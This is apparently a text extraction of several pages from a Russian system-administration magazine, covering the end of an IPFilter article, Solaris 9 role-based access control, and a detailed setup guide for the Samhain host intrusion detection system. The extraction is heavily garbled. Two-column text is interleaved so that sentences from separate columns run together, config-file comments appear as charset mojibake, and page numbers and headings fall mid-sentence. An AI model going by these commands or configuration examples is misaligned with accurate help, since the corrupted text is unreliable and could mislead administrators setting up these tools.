исхожу из того, что из потенциально возможных 65535 дентов. Но ведь никто не оградит вас от наличия в
портов разрешения требуются меньшей части, однако коллективе какого-нибудь cool-hacker? Да и firewall
не исключено, что для начала вам придется восполь- лучше задействовать и для внутреннего сетевого ин-
зоваться запретительной практикой (см. далее о кон- терфейса – по аналогии с внешним, думаю, это бу-
фигурировании ядра системы для запуска IPFilter). дет несложно сделать, исходя из конкретных обсто-
8
Очень часто при попытках атак злоумышленники ис- ятельств.
21
пользуют подделку технической информации в паке- В ближайшее время планируется написание статьи об
те, заменяя реальный адрес источника на адрес из не- использовании таких возможностей IPFilter, как груп-
маршрутизируемой сети 127/8. пы правил и ведение нескольких файлов протоколов.
ДМИТРИЙ СЕЛЕЗНЕВ
44
администрирование
Введение в RBAC лю или роли. Профайл прав включает в себя авторизации,
Не секрет, что в классических UNIX-системах суперполь- команды с атрибутами их выполнения и другие профайлы.
зователь root имеет все полномочия по управлению сис- Как уже было отмечено выше, SOE включает в себя
темой. С другой стороны, возможности обычного пользо- набор предопределенных профайлов прав, которые, по
вателя ограничены домашним каталогом и рядом пользо- мнению разработчиков Solaris, отвечают конкретным ти-
вательских приложений. Однако в условиях чрезвычайно повым задачам управления системой. Вот лишь некото-
возросшей мощности серверных UNIX-систем, а следо- рые из них: Basic Solaris User, Operator, Media Backup, User
вательно, увеличения количества обслуживаемых поль- Security, FTP Management. Помимо предопределенных про-
зователей и решаемых задач, усложнения периферии и файлов прав, можно создавать собственные профайлы.
современных требований к безопасности, существует не- Авторизация – определенное право доступа к той или
обходимость разделения административных полномочий иной компоненте системы, которым может быть пользо-
на нескольких пользователей. В современных UNIX-сис- ватель или роль. Существуют целые классы авторизаций.
темах эта задача решается тем или иным способом. При- Для наглядности приведу пример:
мером может служить всем известная технология sudo.
Рассмотрим, какие средства в этом контексте предос- solaris.admin.usermgr.read
solaris.admin.usermgr.write
тавляет нам ОС Solaris 9. solaris.admin.usermgr.passwd
Role based access control (в дальнейшем RBAC) явля-
ется чрезвычайно гибким и мощным антиподом упомяну- Как несложно догадаться, каждая из трех приведенных
той классической радикальной двухуровневой схеме. авторизаций отвечает за управление пользовательскими
RBAC позволяет делегировать определенные возможно- бюджетами: на это указывает префикс solaris.admin.usermgr.
сти суперпользователя группам пользователей. Это по- Первая позволяет читать информацию о пользовательс-
зволяет им выполнять конкретные административные за- ких бюджетах, вторая – их модифицировать, а третья раз-
дачи. Например, управлять печатью, операциями резерв- решает изменение пользовательских паролей.
ного копирования и т. д. Если авторизация заканчивается суффиксом grant, то она
Основная идея RBAC заключается в предоставлении позволяет делегировать права на все операции префикса.
определенных наборов прав суперпользователя группам Авторизации локальной системы всегда начинаются со
пользователей. Такой набор прав и называется ролью. От- слова «solaris», авторизации, предоставляемые другими си-
дельные пользователи могут быть наделены несколькими стемами, начинаются с реверсивной записи DNS-имени
ролями. Однако роль не может ссылаться на другую роль. хоста2. Вообще говоря, помимо определенных в SOE авто-
По отношению к использованию RBAC, стратегии уп- ризаций, новые локальные авторизации создавать нельзя.
равления системой можно условно разделить на следую- Реализация RBAC в Solaris 9 базируется на 2 + 4 + 1 = 7
щие категории: базах данных. Почему 2 + 4 + 1?
! Без использования RBAC. Это уже упомянутая клас- Две первые базы – это стандартные для UNIX-систем
сическая двухуровневая модель: все операции по ад- файлы /etc/passwd и /etc/shadow. Назначение их извест-
министрированию системы выполняются суперпользо- но, их структуру мы рассматривать здесь не будем. Я лишь
вателем (root). продемонстрирую место этих файлов в технологии RBAC.
! Использование роли root. Бюджет суперпользователя Следующие четыре – это RBAC-специфические базы.
реализован в виде роли. Пользователи, принадлежащие Собственно, они и есть RBAC. Их-то мы и рассмотрим под-
к этой роли, входят в систему под своими именами, а робно.
уже после авторизуют себя в роли, выполняя su root. Первый из четырех – файл /etc/user_attr. Этот файл со-
! Используется одна роль на основе профайла Primary держит объявления ролей и пользователей с их профай-
Administrator. Практически аналогична второму пункту. лами прав и авторизациями, а также определяет принад-
! Используются роли на основе предопределенных в лежность пользователей ролям. Каждая запись (строка)
Solaris Operating Environment (далее SOE) типовых про- этого файла соответствует одноименной записи в фай-
файлах, таких как Primary Administrator, System лах /etc/passwd и /etc/shadow. В определенном смысле
Administrator, Operator и т. д. user_attr является расширением базы пользовательских
! Специальные пользовательские роли создаются для бюджетов /etc/passwd.
решения отдельных задач, исходя из конкретной стра- Структура записей файла такова:
тегии администрирования системы. Эти роли могут ос-
новываться на наборах как предопределенных профай- user/role name:íå÷òî1:íå÷òî2:íå÷òî3:ñïèñîê àòðèáóòîâ
лов, так и специально созданных.
Каждое поле отделяется от другого двоеточием. Пер-
В зависимости от конкретных потребностей организа- вое поле – это имя пользователя или роли, второе, третье
ции выбирается та или иная стратегия использования тех- и четвертое поля («нечто») в настоящее время пусты, они
нологии RBAC. Технология RBAC строится на двух базо- зарезервированы для возможного последующего исполь-
вых понятиях: профайл прав (rights profile) и авторизация зования в будущих версиях Solaris. В последующих опи-
(authorization)1. саниях форматов баз я буду эти поля просто оставлять
Под профайлом прав понимается набор определенных пустыми. Последнее поле содержит атрибуты, разделен-
привилегий, которые могут быть делегированы пользовате- ные точкой с запятой. Атрибут состоит из названия типа
Атрибуты записей в этом файле бывают двух типов: Последний из рассматриваемых файлов (помните, +1)
! help – задает файл подсказки в формате html, /etc/security/policy.conf. Он задает авторизации и профай-
! auths – содержит перечни авторизаций, разделенные лы прав, предоставляемые пользователю по умолчанию.
запятой. Как видно из примера, файл содержит две записи:
Авторизации в качестве суффикса могут содержать # Copyright 1999-2002 Sun Microsystems, Inc.
# All rights reserved.
символ * для обозначения всех операций, определяемых # Use is subject to license terms.
префиксом; profiles содержит перечень профайлов прав,
AUTHS_GRANTED=solaris.device.cdrw
разделенных запятой. Вот фрагмент файла prof_attr: PROFS_GRANTED=Basic Solaris User
Device Management:::Control Access to Removable Media: ↵ Разумеется, значения этих двух полей должны быть
auths=solaris.device.*,solaris.admin.serialmgr.*; ↵
help=RtDeviceMngmnt.htmlAll:::Execute any command as ↵ определены в файлах auth_attr и prof_attr.
46
администрирование
Взаимодействие компонентов RBAC пользования утилиты smc является набор консольных ути-
лит. Перечислим их и приведем их назначение.
Информационные команды:
! auths – выводит перечень авторизаций, которыми об-
ладает пользователь(и). Выполнение этой команды без
параметров выводит список авторизаций текущего
пользователя.
! profiles – выводит перечень профайлов, которыми об-
ладает пользователь(и).
! roles – выводит имена ролей, к которым принадлежит
пользователь(и).
Когда пользователь авторизуется в роли, то запуска- Приведу здесь команды, при помощи которых созданы
ется соответствующий profile shell, и в дальнейшем все роли master и team, пользователи ivanov и petrov, принад-
команды выполняются при помощи pfexec с текущими лежающие к соответствующей роли. Создаем роль master:
полномочиями, которые определены в роли.
Записи в /etc/user_attr, обозначающие пользователей, # roleadd -m -d /export/home/master -c "Main Admins" ↵
-P "Primary Administrator" master
могут ссылаться на описанные в нем же роли.
Атрибуты auths и profiles ссылаются соответственно на В опции -d указывается домашний каталог роли, ключ
авторизации (файл /etc/security/auth_attr) и профайлы прав -m разрешает автоматическое создание каталога, если та-
(файл /etc/security/prof_attr). ковой не существует. Опция -c задает комментарий, а -P –
Записи профайлов прав в файле /etc/security/prof_attr перечень профайлов прав, на которых должна базировать-
ссылаются на: ся роль.
! другие профайлы, определенные в этом же файле; Создаем роль team:
! авторизации, описанные в файле auth_attr;
! одну или несколько строк в файле /etc/security/exec_attr, # roleadd -m -d /export/home/team -c "Operators' team" ↵
-P "Device Management,Media Backup,Media Restore, ↵
которая и начинается с имени данного профайла. Log Management" team
48
безопасность
ЦЕНТРАЛИЗОВАННОЕ
ОБНАРУЖЕНИЕ ВТОРЖЕНИЯ
С SAMHAIN
СЕРГЕЙ ЯРЕМЧУК
50
безопасность
На сегодняшний день существует достаточное количество как правило, с возможностью централизованного управ-
технологий, позволяющих защитить систему от вторже- ления, обновления или хотя бы сбора данных, иногда с
ния извне. На первом рубеже нападающего встретит графическим интерфейсом или возможностью настрой-
firewall, защищающий против злонамеренного/нежела- ки через веб-интерфейс. Об одном из таких решений и
тельного трафика из внешней/внутренней сети, но он дол- пойдет речь в статье.
жен все равно пропускать часть пакетов из/во внутрен- Samhain на сайте http://www.la-samhna.de/samhain/
ней сети, иначе перестанут работать полезные сервисы. index.html назван «open source file integrity and host-based
Проще, наверное, вообще отключить такую сеть от Ин- intrusion detection system», т.е. относится к системам, за-
тернета, и совсем он бесполезен против некоторых атак щищающим отдельный хост. Но возможности даже по
вроде перебора пароля или направленных на уязвимости скромному перечислению просто впечатляют. Главное –
в легальном сервисе. это интеграция нескольких составляющих, позволяющая
Поэтому добавляют следующий уровень защиты, се- полностью охватить практически все вопросы по защите
тевые системы обнаружения атак – Network Intrusion системы, не распыляя внимание. Для работы достаточно
Detection System (NIDS), которые по известным сигнату- настроить одно-единственное приложение под свои нуж-
рам обнаруживают злонамеренный трафик, но подчас бес- ды и в дальнейшем при необходимости обновлять только
полезны против новых неизвестных методов атак. И опять его. Следующая немаловажная деталь, Samhain возмож-
же не защищают от перебора пароля. но настроить не только для защиты отдельного хоста, но
Поэтому на следующем шаге применяют уже «инди- и заставить работать в клиент-серверной реализации, ког-
видуальные» host-based системы, позволяющие обнару- да датчики, установленные на удаленных узлах, отсыла-
жить вторжение, например, производя контроль целост- ют всю собранную информацию по зашифрованному ка-
ности файловой системы, некоторые реализации вроде налу на отдельный сервер. При этом все обновления и кон-
Logcentry или Hostcentry позволяют обнаружить вторже- фигурационные файлы также могут быть централизован-
ние (и даже попытку) методом анализа лог-файлов или, но размещены на сервере и при загрузке забираться от-
используя технологию Login Anomaly Detection, исследо- туда клиентами, что позволяет оперативно вносить изме-
вать подозрительные действия на входе в систему. Плюс нения в настройки и легко производить обновление. Плюс
для повышения защиты стоит добавить систему защиты несомненным преимуществом является возможность до-
от LKM rootkits вроде rkdet (http://vancouver-webpages.com/ бавления своего модуля, о том, как это можно сделать,
rkdet/). описано в документации, в частности в HOWTO-write-
Используя все эти технологии вместе, дополнительно modules. Состоит система Samhain из трех компонентов:
наложив на ядро патч вроде LIDS (http://www.lids.org/), по- ! клиента или реализации системы на отдельно стоящем
зволяющий контролировать доступ к важным данным, компьютере – samhain;
можно надежно запереть как сеть, так и отдельные ком- ! сервера, предназначенного для централизованного
пьютеры. Но есть одно неудобство. Принцип KISS (Keep It сбора логов и управления клиентами – yule;
Simple Stupid) хорошо любимый программистами UNIX- ! веб-консоли для удаленного управления – beltane.
систем, когда программа выполняет только одну малень-
кую функцию, но хорошо, а при необходимости более ши- Поддерживаются несколько вариантов оповещения
роких возможностей все необходимое просто склеивает- или отсылки собранной информации, e-mail, в котором
ся при помощи скриптов, в этом случае только может по- используется свой собственный код, реализующий отсыл-
мешать. Так начинающему админу приходится кроме на- ку по протоколу SMTP, почта при этом подписывается во
стройки нескольких необходимых для работы сервисов, избежание подделки, естественно syslog, при запуске в
ставить и разбираться еще во всех приложениях защиты. виде daemon для вывода ошибок используется устройство
Но это хозяйство не только необходимо настроить и запу- /dev/console, которое может быть заменено, используя
стить, что подчас не так просто, так как большая часть FIFO. Далее для хранения используется отдельный лог-
опций настраивается при помощи конфигурационных файл, который также подписывается во избежание под-
файлов, без удобного интерфейса, но нужно и поддержи- делки. Для централизованного сбора информации от не-
вать всегда в самом свежем состоянии, и притом не на скольких клиентов возможно использование отдельного
одном, а сразу на всех компьютерах в сети. Это только лог-сервера, который использует протокол TCP и шифро-
одна из проблем. вание сообщений, также для хранения информации, со-
Другая состоит в том, что все эти приложения подчас бранной от клиентов, возможно использование RDBMS
никак не связаны между собой, поэтому выдаваемая ими базы данных. На эту роль подходят PostgreSQL, MySQL,
информация никак не централизована, поступает со всех имеется поддержка Oracle и unixODBC, но пока полнос-
компьютеров и в большом количестве, обычно в виде e-mail. тью на них не протестирована. Дополнительно возможно
Я думаю, что это основная причина, мешающая, несмот- использование и других внешних программ или выполне-
ря на низкую стоимость, активному продвижению UNIX- ние определенных команд.
подобных систем. Не каждый сможет все сразу осилить, Samhain был протестирован на Linux, FreeBSD, AIX 4.x,
и опыт приходит со временем и только с собственными HP-UX 10.20, Unixware 7.1.0, Solaris 2.6, 2.8 и Alpha/True64.
ошибками. Наверное, поэтому в настоящее время стано- Имеются данные об успешной работе на системах под
вятся все более популярными комплексные решения за- управлением OpenBSD и HP-UX 11 и, возможно, будет
щиты системы, объединяющие в себе несколько задач, работать и под Mac OS X. Также возможен запуск на
# whereis dialog
dialog: /usr/bin/dialog /usr/share/man/man1/dialog.1.gz
# mv /usr/bin/dialog /usr/bin/dialog_bak
52
безопасность
[Utmp] ! --enable-install-name=samhain|yule – очень интерес-
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) ная опция, позволяющая дать другое произвольное,
LoginCheckActive=1
# èíòåðâàë âðåìåíè ìåæäó ïðîâåðêàìè â ñåêóíäàõ не вызывающее подозрений имя, с которым и ском-
LoginCheckInterval=600 пилировать программу, при этом оно будет автома-
# ñåðüåçíîñòü ñîáûòèÿ, äîñòàòî÷íî èíôîðìàöèîííîãî
SeverityLogin=info тически заменено во всех скриптах. Это позволит
SeverityLogout=info скрыть наличие в системе этой утилиты. При компи-
# à âîò åñëè îäèí è òîò æå ïîëüçîâàòåëü çàðåãèñòðèðîâàëñÿ
# ìíîãîêðàòíî, òî ýòî ñîáûòèå ñêîðåå êðèòè÷åñêîå ляции samhain в среде клиент|сервер без использо-
SeverityLoginMulti=crit вания этой опции имя samhain|yule будет дано авто-
матически.
! --with-suidcheck – (по умолчанию – нет) заставит ! --enable-khide=System.map (только для Linux) компили-
samhain проверять все SUID/SGID-программы в опре- рует и устанавливает два модуля ядра: samhain_hide.o
деляемых пользователем интервалах и сообщать при и samhain_erase.o. Модуль samhain_hide.o спрячет фай-
появлении новых, не внесенных в базу данных. После лы, каталоги и процессы с именем, указанным в оп-
инициализации базы данных, все SUID/SGID-файлы ции --enable-install-name=NAME или если такая опция
будут автоматически включены в базу данных. Есте- не используется, то по умолчанию принимается
ственно не работает на nfs, proc, msdos, vfat и iso9660 samhain. Второй, samhain_erase.o, предназначен для
и других файловых системах с опцией монтирования скрытия самих модулей.
nosuid, поэтому не стоит включать их в базу данных. ! --enable-mounts-check – модуль, написанный Computer
Для настройки необходимо создать секцию SuidCheck Incident Response Team, позволяет контролировать
примерно такого содержания: правильность опций монтирования файловых сис-
тем. Этот модуль в настоящее время поддерживает
[SuidCheck] Linux, Solaris и FreeBSD. Требует секции Mounts для
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
SuidCheckActive=1 настройки:
# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ
# (ïî óìîë÷àíèþ – 7200 ñåê., ò.å. 2 ÷àñà) [Mounts]
# SuidCheckInterval=86400 # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
# èëè ìîæíî çàäàòü âðåìÿ ïðîâåðêè â ñòèëå crontab,
# íàïðèìåð, â 05:30 êàæäûé äåíü, ÷òîáû, ïðèäÿ MountCheckActive=1
# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ
# íà ðàáîòó, ïîëó÷èòü èíôîðìàöèþ. MountCheckInterval=7200
SuidCheckSchedule=30 5 * * *
# ñåðüåçíîñòü ñîáûòèÿ, åñòåñòâåííî, êðèòè÷åñêàÿ # ñåðüåçíîñòü ñîáûòèÿ, îòñëåæèâàåòñÿ ïðàâèëüíîñòü
# ìîíòèðîâàíèÿ è êîððåêòíîñòü îïöèè ìîíòèðîâàíèÿ
SeveritySuidCheck=crit SeverityMountMissing=warn
# òàê ìîæíî èñêëþ÷èòü îäèí êàòàëîã èç ñïèñêà ïðîâåðÿåìûõ
# (íàïðèìåð, ñòðîêà äëÿ Solaris) SeverityOptionMissing=warn
# ïåðå÷èñëÿþòñÿ òî÷êè ìîíòèðîâàíèÿ ñî ñïèñêàìè
#SuidCheckExclude=/net/localhost # ïàðàìåòðîâ, êîòîðûå íóæíî îòñëåæèâàòü
# òàê êàê ïðîâåðêà SUID/SGID – äåëî íàêëàäíîå, òî ìîæíî
# îãðàíè÷èòü êîëè÷åñòâî ïðîâåðÿåìûõ ôàéëîâ â ñåêóíäó checkmount=/
checkmount=/var
# (files per seconds) checkmount=/usr
SuidCheckFps=250
checkmount=/tmp noexec,nosuid,nodev
checkmount=/home noexec,nosuid,nodev
На все первоначально найденные SUID/SGID-файлы
будут выведены примерно такие сообщения: ! --enable-userfiles – еще один модуль от Computer
Incident Response Team, позволяющий отслеживать
изменения конфигурационных файлов пользовате-
лей вроде .profile. За настройку отвечает секция
А если найдутся новые, то программа начнет нервни- UserFiles:
чать и сообщит администратору о находке.
! --with-kcheck – (по умолчанию – нет) проверка систе- [UserFiles]
#
мы на наличие kernel rootkit загружаемых при помощи UserfilesActive=1
LKM (loadable kernel module). Хочется напомнить, что # âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on)
# ôàéëû, ïðîâåðÿåìûå â êàæäîì $HOME
отказ от поддержки модулей в ядре, не устраняет их # âîçìîæíî çàäàíèå ñëåäóþùèõ óðîâíåé, îòñëåæèâàþùèõ
модификацию через /dev/kmem. Для GNU/Linux требу- # îïðåäåëåííûå èçìåíåíèÿ, ïî óìîë÷àíèþ èñïîëüçóåòñÿ
# noignore
ется указать место расположение файла System.map # allignore
(обычно строка выглядит так: --with-check=/boot/ # attributes
# logfiles
System.map), для FreeBSD этого не требуется. Для кон- # loggrow
фигурирования добавляем секцию Kernel: # noignore
# readonly
# user0
[Kernel] # user1
# âêëþ÷åíèå/âûêëþ÷åíèå ïðîâåðîê (0 – off, 1 – on) #
KernelCheckActive=1
# èíòåðâàë ìåæäó ïðîâåðêàìè â ñåêóíäàõ (ïî óìîë÷àíèþ 300) UserfilesName=.login noignore
KernelCheckInterval=20 UserfilesName=.profile readonly
# ïðîâåðêà interrupt descriptor table UserfilesName=.ssh/authorized_keys
# (ïî óìîë÷àíèþ TRUE) #
KernelCheckIDT=TRUE # âîçìîæíî çàäàíèå ñïèñêà ïðîâåðÿåìûõ UID, ïî óìîë÷àíèþ
# ñåðüåçíîñòü ñîáûòèÿ # ïðîâåðÿþòñÿ âñå ïîëüçîâàòåëè
SeverityKernel=crit UserfilesCheckUids=0,100-500,1000-
[Log]
DatabaseSeverity=warn
[Database]
SetDBName=db_name
SetDBTable=db_table
SetDBHost=db_host
SetDBUser=db_user
SetDBPassword=db_password
SetDBServerTstamp=true/false – timestamp äëÿ ñîîáùåíèé
êëèåíòîâ
Некоторые проблемы решаются просто, вроде этого:
! --with-gpg=/full/path/to/gpg – samhain использует GnuGP
# chown root:root /etc/samhainrc для подписи файла конфигурации и базы данных сиг-
натур, выдавая контрольную сумму. При этом ее все-
Но с другой стороны, при попытке изменить посторон- гда можно сверить, запустив:
ним одного из этих параметров, вы будете предупрежде-
ны. Дополнительно имеется опция --with-identity=USER, ко- gpg -a --clearsign --not-dash-escaped FILE
торая указывает на имя пользователя, которое будет ис-
пользоваться для понижения привилегий программы пос- Но использовав опцию --with-gpg, можно возложить часть
ле запуска (по умолчанию nobody). работы на samhain. При этом программа конфигурации про-
! --with-prelude – опция, благодаря которой я в принципе верит, чтобы доверенные пользователи имели доступ к gpg,
и обратил серьезное внимание на samhain. При ее а gpg будет вызываться без использования переменных обо-
включении возможно использование samhain как дат- лочки по полному пути, указанному при компиляции, со сре-
чика Open Source Hybrid Intrusion Detection System дой ограниченной переменной $HOME, используя файл
Prelude и контролировать еще ряд дополнительных $HOME/.gnupg. Для облегчения работы с подписью и про-
параметров, в том числе и сеть. Настройка самого веркой файлов имеется Perl-скрипт samhainadmin.pl, кото-
Prelude – тема отдельной статьи. Пока достаточно взять рый первоначально придется заточить под свою систему.
с http://www.prelude-ids.org/rubrique.php3?id_rubrique=6 При помощи опции --with-checksum=CHECKSUM мож-
файл библиотек libprelude и установить его обычным но вбить в программу контрольную сумму бинарника gpg,
образом. которая будет проверяться каждый раз при обращении к
! --enable-xml-log – журнал событий, по умолчанию на- нему, что позволит контролировать оригинальность gpg
ходящийся в /var/log/samhain_log, будет вестись в фор- (можно и отказаться, использовав --with-checksum=no).
мате XML, эта опция будет обязательной при включе- Контрольную сумму можно узнать, использовав такую
нии некоторых других опций (базы данных, например). команду:
! --with-database=[mysql|postgresql|oracle|odbc] – вклю-
чение поддержки выбранной базы данных, в которую #/usr/bin/gpg --load-extension tiger --print-md TIGER192 ↵
/usr/bin/gpg
затем будут заноситься данные (требует --with-xml-log,
PostgreSQL не любит опцию --enable-static). По умол- И теперь в строке конфигурирования:
чанию сервер базы данных размещается на localhost,
база данных называется samhain, содержит таблицу --with-checksum="/usr/bin/gpg: 1C739B6A F768C949 FABEF313 ↵
5F0B37F5 22ED4A27 60D59664"
«log», доступ к которой осуществляется без пароля.
Для автоматического создания соответствующей Но это еще не все, простой факт, что сигнатура явля-
базы данных и таблицы в комплекте имеются скрип- ется правильной, не доказывает, что это было подписано
ты «samhain.mysql.init», «samhain.postgres.init» и именно вами и вашим ключом – только доказывает, что
«samhain.oracle.init». это было подписано кем-то. Для того чтобы Samhain мог
54
безопасность
проверить, что именно ваш ключ использовался, необхо- может понадобиться при включении возможности подпи-
димо добавить опцию --with-fingerprint=FINGERPRINT. си своим ключом файлов, используемых samhain. Если
! --enable-stealth=xor_val, где xor_val может принимать используются ключи, сгенерированные ранее, то узнать
значение от 128 до 255. Еще одна довольно интерес- Key fingerprint можно, введя:
ная опция, позволяющая скрыть присутствие samhain
в системе. При этом все сообщения в журнале скла- # gpg --fingerprint Jaremchuk
дываются со значением xor_val, не зная которое, бу-
дет труднее прочитать записанное. Также журнал мож-
но будет подцепить в конец любого исполняемого фай-
ла или рисунка, а конфигурационный файл в режиме
стеганографии в файл Postscript. Правда, в последнем И конфигурируем клиента:
случае можно использовать вариант --enable-micro-
stealth=xor_val, когда конфигурационный файл прятать samhain-1.8.3 # ./configure --with-gpg=/usr/bin/gpg
--with-fp=EA9E228F669770837DD41540FB4AD9A83D8B7333
не надо. Плюс дополнительно можно использовать --enable-login-watch --enable-mounts-check ↵
опцию --enable-nocl[=ARG], где ARG – магическое сло- --enable-userfiles --enable-static ↵
--enable-network=client --enable-suidcheck ↵
во, без которого не будет приводиться анализ аргумен- --with-trusted=0,500 ↵
тов командной строки. --with-recipient=sergej@ logserver.com ↵
--enable-xml-log --with-logserver=logserver.com ↵
--with-config-file=REQ_FROM_SERVER/etc/samhainrc ↵
И наконец, сетевые опции: --with-kcheck=/boot/ System.map
! --enable-network=[client|server] – эта опция включает
поддержку сети и в соответствии с выбранной уста- Во время конфигурирования сервера и клиента нарвал-
новкой будет скомпилирован клиент или сервер, при ся на такие ошибки:
этом их необходимо конфигурировать и компилировать
отдельно.
! --with-timeserver=HOST и --with-alttimeserver=HOST – ус- Сообщает, что для опции --with-database требуется оп-
тановка адреса для time-сервера основного и альтер- ция --enable-xml-log, что и добавляем в строку.
нативного.
! --with-logserver=HOST и --with-altlogserver=HOST – ука-
зание адреса log-сервера основного и альтернативного. Программа не может найти файл libprelude-config, вхо-
! --with-libwrap=PATH – компилирование с поддержкой дящий в библиотеку Prelude IDS. У меня он находился в
TCP Wrappers, и контроль доступа к log-серверу при каталоге /usr/local/bin, который не был виден в переменной
помощи файлов /etc/hosts.allow и /etc/hosts.deny. РАТН, лечится выполнением следующей команды (в bash):
! --enable-udp – включение прослушивания сервером
порта 514 для работы по протоколу UDP для получе- # export PATH=$PATH:/usr/local/bin
ния информации от syslog-клиентов.
! --with-port=PORT – изменение номера порта для про- Встретились незнакомые опции: --enable-static – для
токола TCP/IP (по умолчанию 49777). статической компиляции, является рекомендуемой с точ-
ки зрения безопасности. Строка --with-config-file= REQ_
На этом обзор основных опций предлагаю закончить и FROM_SERVER/etc/samhainrc указывает, что конфигура-
перейти к практической части, в ходе которой и будут рас- ционный файл следует брать с сервера, где он называет-
смотрены оставшиеся вопросы. Итак, конфигурируем кли- ся /etc/samhainrc, опция --with-recipient позволяет желез-
ента и сервер, вариант использования samhain на одной ло- но вшить в бинарник e-mail получателя отчетов, хотя при
кальной машине будем считать частным упрощенным слу- желании можно его задать и в конфигурационном файле.
чаем настройки клиента. Для начала заводим набор ключей В конце конфигурирования программа выводит при-
локальных gpg, можно использовать и имеющиеся, но я ре- близительно такой отчет:
шил для работы с samhain создать отдельный комплект.
# /usr/bin/gpg --gen-key
[GrowingLogFiles]
Этот шаг нормально отрабатывался на всех системах # òî æå, ÷òî è ïðåäûäóùèé ïóíêò, òîëüêî èçìåíåíèå ðàçìåðà
# ôàéëà áóäåò ïðîèãíîðèðîâàíî ëèøü â ñëó÷àå óâåëè÷åíèÿ
(проверял на Linux – Redhat, Gentoo и SuSE, а также во # ðàçìåðà ôàéëà
FreeBSD), и проблемы с автозагрузкой возникали только из- file=/var/log/warn
file=/var/log/messages
за неправильной настройки или недоступности тех или иных file=/var/log/wtmp
файлов. А если у вас не получилось, то возьмите за шаблон file=/var/log/faillog
один из предлагаемых вариантов, которые можно найти в [IgnoreAll]
подкаталогах init и profiles и заточите под свою систему. # âñå èçìåíåíèÿ â ýòèõ ôàéëàõ íå ïîïàäóò â îò÷åò, íî îíè âñå
# æå ïðîâåðÿòüñÿ áóäóò, ñþäà ìîæíî ïîìåñòèòü íå íóæäàþùèåñÿ
И теперь, наконец, сам конфигурационный файл. На- # â ïðîâåðêå ôàéëû ïðè ðåêóðñèâíîì îáõîäå êàòàëîãà
зывается он /etc/samhainrc (если только не использовалась file=/etc/resolv.conf.pcmcia.save
опция --enable-install-name или --enable-stealth). Внутри име- [IgnoreNone]
ется готовый шаблон, в котором для большинства случаев # äëÿ ýòèõ ôàéëîâ áóäóò âûâîäèòüñÿ â îò÷åò âñå âîçìîæíûå
# èçìåíåíèÿ, ðàçðàáîò÷èêè ðåêîìåíäóþò ñîçäàòü ïîäñòàâíîé
достаточно раскомментировать нужные параметры, при # ôàéë âðîäå /etc/passwd.bak è îòñëåæèâàòü ïîïûòêó îáðàùåíèÿ
этом опции, заданные в строке конфигурации, можно про- # ê íåìó
пускать, а можно дополнить дополнительными значениями. [ReadOnly]
В секциях [Attributes], [LogFiles], [GrowingLogFiles], [IgnoreAll], # äëÿ ýòèõ ôàéëîâ èãíîðèðóåòñÿ âðåìÿ äîñòóïà
dir=/usr/bin
[IgnoreNone], [ReadOnly], [User0] и [User1] задаются соответ- dir=/bin
ствующие политики для указанных внутри файлов и катало- dir=3/sbin
dir=/usr/sbin
гов. При этом возможно два варианта задания путей: dir=/lib
! file= /full/path/to/the/file – для указания непосредствен- dir=3/etc
dir=/boot
но на файл;
! dir= [recursion depth]/full/path/to/the/dir – для указания на И две секции [User0] и [User1], в которых по умолча-
обход каталога, при этом перед путем может ставить- нию отслеживаются и попадают в отчет все модифика-
ся цифра максимальной глубины рекурсии. ции. Но для каждой секции возможно переопределение
56
безопасность
по умолчанию выставленных параметров. Это особенно SeverityFiles=err
удобно при использовании секций [User0] и [User1], что SeverityDirs=err
# íåïîíÿòíûå èìåíà ôàéëîâ èëè íåäîïóñòèìûé UIDS/GIDS,
позволяет создать конфигурацию действительно на все # êîòîðûé íå ïðèíàäëåæèò íè îäíîìó ïîëüçîâàòåëþ èëè ãðóïïå
случаи жизни. Для этого в секции [Misc] создаются пара- SeverityNames=info
метры, соответствующие имени изменяемого поля с пре- И наконец, еще два обязательных раздела: Log – опи-
фиксом Redef, вроде RedefReadOnly, RedefAttributes, сывающий систему регистрации событий и Misc – общие
RedefUser0 и указанием параметра со знаком плюс (для установки. По умолчанию большая часть регистраторов
добавления), минус (для отмены контроля) и без знака для событий отключена, и поэтому нужно внимательно про-
установки. Параметры могут быть такие: CHK (checksum), смотреть эту секцию и выбрать необходимое. Здесь еще
LNK (link), HLN (hardlink), INO (inode), USR (user), GRP важно пару слов добавить о классах сообщений. Серьез-
(group), MTM (mtime), ATM (atime), CTM (ctime), SIZ (size), ность события ранжирует сообщения по их важности, клас-
RDEV (device numbers) и MOD (file mode). сы относятся к категориям сообщений, призванным умень-
Опции, указанные в файле, в случае использования шить вывод, например, рассматривая сообщения в неко-
единого централизованного файла будут действительны тором контексте (запуск от cron при котором сообщения
для всех клиентов, что не всегда нужно. Для возможности запуска и остановки могут быть лишними). Сообщения
задания индивидуальных для некоторого узла или систе- будут регистрироваться, только если их серьезность со-
мы параметров возможно использование в разделах лю- ответствует заявленной, и класс сообщения имеется в
бого количества инструкций вида: списке. При этом по умолчанию регистрируются все клас-
сы, и параметр none отключает регистрацию.
@HOSTNAME С версии 1.8.2 регистрируются следующие классы.
file=/path/to/file
@end
!@ HOSTNAME
file=/path/to/file
@end
# ìàêñèìàëüíîå âðåìÿ ìåæäó îòïðàâêàìè ïî÷òû, âñå ñîîáùåíèÿ Хочется отметить, что это далеко не все опции, только
# êðîìå àâàðèéíûõ ïðè ýòîì áóäóò íàêàïëèâàòüñÿ (86 400 ñåê.) основные, остальное в документации. Также samhain мо-
#SetMailTime=43200
жет выполнять внешние команды, например для допол-
# ìàêñèìàëüíàÿ çàäåðæêà âî âíóòðåííåé î÷åðåäè îò 0 äî 127 нительного форматирования сообщения, отправки SMS
# (ïî óìîë÷àíèþ 10)
#SetMailNum=10 или изменения настроек IDS или firewall. Для этого исполь-
# óñòàíîâêà àäðåñà ïîëó÷àòåëÿ, ïîçâîëÿåòñÿ äî 8 àäðåñîâ
зуется отдельная секция [External], описание которой най-
# äî 63 ñèìâîëîâ. дете в разделах «Calling external programs» и «External»
SetMailAddress=root@localhost документации.
# host äëÿ îòïðàâêè ïî÷òû ïî óìîë÷àíèþ ëîêàëüíûé – none После создания конфигурационного файла, подписы-
